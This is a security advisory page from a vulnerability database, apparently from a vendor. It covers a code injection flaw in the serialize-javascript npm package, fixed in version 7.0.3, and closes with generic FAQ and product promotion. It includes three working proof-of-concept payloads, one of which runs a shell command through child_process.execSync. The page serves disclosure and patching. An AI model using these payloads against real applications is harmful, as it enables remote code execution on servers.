Vulnerability Database

406,446

Total vulnerabilities in the database

Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString() — serialize-javascript

Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or &lt;script&gt; tags), the injected code executes.

javascript const serialize = require(&#039;serialize-javascript&#039;); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, &#039;source&#039;, { get: () =&gt; &#039;x&#039; }); Object.defineProperty(fakeRegex, &#039;flags&#039;, { get: () =&gt; &#039;&quot;+(global.PWNED=&quot;CODE_INJECTION_VIA_FLAGS&quot;)+&quot;&#039; }); fakeRegex.toJSON = function() { return &#039;@placeholder&#039;; }; const output = serialize({ re: fakeRegex }); // Output: {&quot;re&quot;:new RegExp(&quot;x&quot;, &quot;&quot;+(global.PWNED=&quot;CODE_INJECTION_VIA_FLAGS&quot;)+&quot;&quot;)} let obj; eval(&#039;obj = &#039; + output); console.log(global.PWNED); // &quot;CODE_INJECTION_VIA_FLAGS&quot; — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString() javascript const serialize = require(&#039;serialize-javascript&#039;); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return &#039;&quot;+(global.DATE_PWNED=&quot;DATE_INJECTION&quot;)+&quot;&#039;; }; fakeDate.toJSON = function() { return &#039;2024-01-01&#039;; }; const output = serialize({ d: fakeDate }); // Output: {&quot;d&quot;:new Date(&quot;&quot;+(global.DATE_PWNED=&quot;DATE_INJECTION&quot;)+&quot;&quot;)} eval(&#039;obj = &#039; + output); console.log(global.DATE_PWNED); // &quot;DATE_INJECTION&quot; — injected code executed! #h2. PoC 3: Remote Code Execution javascript const serialize = require(&#039;serialize-javascript&#039;); const rceRegex = Object.create(RegExp.prototype); Object.defineProperty(rceRegex, &#039;source&#039;, { get: () =&gt; &#039;x&#039; }); Object.defineProperty(rceRegex, &#039;flags&#039;, { get: () =&gt; &#039;&quot;+require(&quot;child_process&quot;).execSync(&quot;id&quot;).toString()+&quot;&#039; }); rceRegex.toJSON = function() { return &#039;@rce&#039;; }; const output = serialize({ re: rceRegex }); // Output: {&quot;re&quot;:new RegExp(&quot;x&quot;, &quot;&quot;+require(&quot;child_process&quot;).execSync(&quot;id&quot;).toString()+&quot;&quot;)} // When eval&#039;d on a Node.js server, executes the &quot;id&quot; system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

  • Published: Feb 28, 2026
  • Updated: Mar 1, 2026
  • GHSA: GHSA-5c6j-r48x-rmvq
  • Severity: High
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: High
  • Score: 8.1
  • AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWEs:

Is serialize-javascript exposed on your perimeter?

A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.

What is attack surface management? →

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.